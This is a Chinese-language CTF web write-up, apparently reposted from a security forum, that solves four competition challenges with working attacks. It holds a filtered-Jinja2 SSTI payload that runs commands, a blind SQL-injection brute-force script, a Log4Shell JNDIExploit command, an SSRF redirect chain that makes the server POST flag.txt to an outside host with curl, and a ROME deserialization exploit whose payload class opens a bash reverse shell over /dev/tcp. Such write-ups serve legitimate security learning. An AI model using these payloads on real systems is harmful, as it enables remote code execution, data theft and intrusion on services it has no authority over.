CTF Web 的一些比赛题
DASCTF2022 7月赛 - Harddisk
打开题目后以为是SQL注入
,测试了一下发现输入的内容会回显回来,猜测是要考SSTI
使用\{\{\}\}
被过滤了,接着使用\{\%\%\}
可行,但是print
关键字被过滤了,应该是要搞个无回显。
想用以前链子进行尝试,但是在调用os库
时会报异常。由于没有回显,这里也不大清楚是为啥。于是改用了最原始的方法,构造思路如下
{} # 类
↓↓↓
Object # 父类
↓↓↓
os._wrap_close # 调用的子类
↓↓↓
popen # 调用方法
接着要测试所过滤的字符了
.
'
\x
[
]
requests
_
globals
getitem
init
...
过滤的内容很大,但是发现还是有一些可以调用的,如attr
、"
、\u
、\n
、|
这些就差不多够用了。
通过attr
过滤器调用需要的内容;然后使用"
和\u
主要是用于关键字过滤后,使用unicode编码进行绕过,这里应该也可以使用八进制来绕过;换行符主要是用于一些需要空格的地方
先构造Object
类出来,这里可以用{}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")
来表示
接着调用__subclasses__()
列出它的所有子类:attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()
由于这里无法判断我们需要的os._wrap_close
类是第几个(没回显),所以这里使用for
循环+if
判断的方式来判断
\{\%for c in {}.__class__.__base__.__subclasses__()\%\}{if c.__name__ in "_wrap_close"}123\{\%endif\%\}\{\%endfor\%\}
↓↓↓
\{\%for%0ac%0ain%0a{}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()\%\}\{\%if%0ac|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f")in"\u005f\u0077\u0072\u0061\u0070\u005f\u0063\u006c\u006f\u0073\u0065"\%\}123\{\%endif\%\}\{\%endfor\%\}
最后调用去调用popen
函数,由于[]
被ban了,通过get方法去拿去字典中键名所对应的键值,然后执行命令即可,最后Payload如下
\{\%for%0ac%0ain%0a{}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()\%\}\{\%if%0ac|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f")in"\u005f\u0077\u0072\u0061\u0070\u005f\u0063\u006c\u006f\u0073\u0065"\%\}\{\%if%0a(c|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u0070\u006f\u0070\u0065\u006e")("cmd")\%\}123\{\%endif\%\}\{\%endif\%\}\{\%endfor\%\}
DASCTF2022 7月赛 - 绝对防御
开局一张图,后面全靠猜。查看了一下js文件,都是与ws
有关的,一开始以为要手动去连接,然后再进行注入(以前有道题好像就这样考的,当时有个人手注)。
看了好久没有思路,使用谷歌小插件收集了一波信息,发现存在一个php页面,如下图
访问获取网页源码如下
<script>
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
function check(){
var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
if (reg.test(getQueryVariable("id"))) {
alert("提示:您输入的信息含有非法字符!");
window.location.href = "/"
}
}
check()
</script>
通过Get请求传参id,测试后确认为数字型,并且表是3列,这里直接盲猜是id、username、password
其中数据:1是admin、2是flag
想用union select
联合查询直接获取的,但是没成,感觉是数据库类型的原因;测试了if
函数也不行。
用like
就可以了,最后构造的语句为2 and password like '%'#
,后端的SQL语句应该是select username from users where id = 1 and password like '%'#
写个脚本开始跑
import requests
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
flag = ""
s = "0123456789QAZXSWEDCVFRTGBNHYUJMKIOLP-{}"
for j in range(1, 120):
for i in s:
if i in "-{}":
i = "\\"+i
burp0_url = "http://eb97b9e9-5955-4ac4-b506-6499f21a7497.node4.buuoj.cn:81/SUPPERAPI.php?id=2 and password like '" + flag + i + "%25'%23"
res = requests.get(burp0_url, headers=burp0_headers, allow_redirects=False)
time.sleep(0.1)
print str(j) + " : " + i
if "flag" in res.text:
flag += i
print flag
break
if i == "\\}":
print flag
exit()
这里由于BUU的靶机不能请求太快,不然就会429 Too Request
,所以加了一个sleep函数
tenableCTF - Log Forge
题目中给了jar包,使用jd-gui
反编译工具打开查看源码
查看LogForgeSec.class
源码可知,其username和password的值都是通过配置文件读取的
查看LogForgeErrorController.class
源码可知,其中dbgmsg
变量是可控的,并且从其渲染的文件中可知,可以利用该参数读取配置文件中的username和password
读取username和password文件
查看LogForgeController.class
源码发现调用了logger.info
,并且查看pom.xml
可知log4j-core
的版本为2.14.0
存在漏洞
最后就是利用CVE-2021-44228
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps -p 8080 -l 8089
CISCN2022_西北分区赛 - MagicProxy
主要的类就两个ProxyController
和AdminController
ProxyController
代码如下
package BOOT-INF.classes.com.example.magicproxy.controller;
import com.example.magicproxy.utils.Utils;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.UnknownHostException;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class ProxyController {
private static final int TIMEOUT = 29000;
@GetMapping({"/proxy"})
public void doProxy(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String urlParam = url;
if (Utils.sanitizeUrl(urlParam)) {
String ref = request.getHeader("referer");
String ua = request.getHeader("User-Agent");
String auth = request.getHeader("Authorization");
try (ServletOutputStream null = response.getOutputStream()) {
request.setCharacterEncoding("UTF-8");
response.setCharacterEncoding("UTF-8");
URL urlObject = new URL(urlParam);
URLConnection connection = urlObject.openConnection();
connection.setConnectTimeout(29000);
connection.setReadTimeout(29000);
response.setHeader("Cache-Control", "private, max-age=86400");
if (auth != null)
connection.setRequestProperty("Authorization", auth);
if (connection instanceof HttpURLConnection) {
((HttpURLConnection)connection)
.setInstanceFollowRedirects(false);
int status = ((HttpURLConnection)connection).getResponseCode();
int counter = 0;
while (counter++ <= 6 && status / 10 == 30) {
String redirectUrl = connection.getHeaderField("Location");
urlObject = new URL(redirectUrl);
connection = urlObject.openConnection();
if (auth != null)
connection.setRequestProperty("Authorization", auth);
((HttpURLConnection)connection)
.setInstanceFollowRedirects(false);
connection.setConnectTimeout(29000);
connection.setReadTimeout(29000);
}
} else {
response.setStatus(415);
}
servletOutputStream.flush();
} catch (UnknownHostException|java.io.FileNotFoundException e) {
response.setStatus(404);
} catch (Exception e) {
response.setStatus(500);
e.printStackTrace();
}
} else {
response.setStatus(400);
}
}
}
首先接收一个url参数,并对其进行检测,是否使用了http/https
协议,并且不能使用本地IP地址,在检测后发起请求连接,可知这里存在一个受限的SSRF漏洞。接着它会判断响应包的状态码是否为30x
,如果是会接收响应包中的跳转地址继续发起请求,此时并没有其他的检测,但请求完的内容并不会回显,所以这里是一个无回显的SSRF漏洞。代码中在发起请求时会先尝试接收Headers
中的一个Authorization
参数,这个参数在AdminController
起作用
AdminController
代码如下
package BOOT-INF.classes.com.example.magicproxy.controller;
import java.io.IOException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.util.Base64Utils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class AdminController {
@GetMapping({"/admin"})
public void Admin(@RequestParam String command, HttpServletRequest request, HttpServletResponse response) throws IOException {
String ipAddress = request.getRemoteAddr();
if (!ipAddress.equals("127.0.0.1")) {
response.setStatus(HttpStatus.FORBIDDEN.value());
return;
}
request.setCharacterEncoding("UTF-8");
String authorization = request.getHeader("Authorization");
if (authorization == null) {
response.setStatus(HttpStatus.UNAUTHORIZED.value());
response.setHeader("WWW-Authenticate", "Basic realm=\"Realm\"");
} else {
String credentials = authorization.substring("Basic ".length());
byte[] decodedCredentials = Base64Utils.decode(credentials.getBytes("UTF-8"));
String[] arrays = (new String(decodedCredentials)).split(":");
if (arrays != null && arrays.length == 2) {
String username = arrays[0];
String password = arrays[1];
if ("Admin".equals(username) && "AdminE6fdEiU7".equals(password))
Runtime.getRuntime().exec(command);
}
}
}
}
首先判断ip
是否为本地发起的请求,然后接收Headers
中的Authorization
参数,取其Basic
之后的值进行Base64解码,并以:
为界将其断成两个字符串,最后分别比较是否为Admin/AdminE6fdEiU7
,如果是就可以执行任意命令。
首先构造一个跳转的代码
# coding:utf8
from flask import Flask,url_for,redirect,request
from werkzeug.routing import BaseConverter
app = Flask(__name__)
@app.route('/')
def hello_world():
return redirect('http://127.0.0.1:8080/admin?command=curl%20-X%20POST%20-F%20xx=@flag.txt%20http://vps:8989/', code=301)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080)
接着利用/proxy
路由请求该重定向地址,并记得带上Authorization:Basic QWRtaW46QWRtaW5FNmZkRWlVNw==
最后即可接收到flag
CISCN2022_华东北分区赛 - Java题
复现使用的环境 : jdk1.8.0_65
根据IndexController
类可知考察的是Java反序列利用,查看pom.xml
文件没有添加啥依赖,但是题目给出了ToStringBean
类,应该是考察的ROME
链的反序列化。ROME
链的触发基本是通过TemplatesImpl
进行类加载,入口类有挺多的,这里使用BadAttributeValueExpException
类作为入口类
调用链如下
/*
TemplatesImpl.getOutputProperties()
ToStringBean.toString()
BadAttributeValueExpException.readObject()
*/
编写一个要加载的类 atao.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class atao extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
}
public atao() throws IOException {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "exec bash -i &>/dev/tcp/ip/port <&1"});
}
}
使用javac
转成class文件
javac atao.java
EXP
package com.game.ctf.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {
File file = new File("atao.class");
FileInputStream fis = new FileInputStream(file);
long fileSize = file.length();
byte[] bytes = new byte[(int) fileSize];
fis.read(bytes);
TemplatesImpl templates = new TemplatesImpl();
Class c = TemplatesImpl.class;
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][] {bytes});
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "atao");
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
ToStringBean bean = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, bean);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
}
最后需要注意的是在发送数据时记得进行一次URL编码
- 本文作者: atao
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1776
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!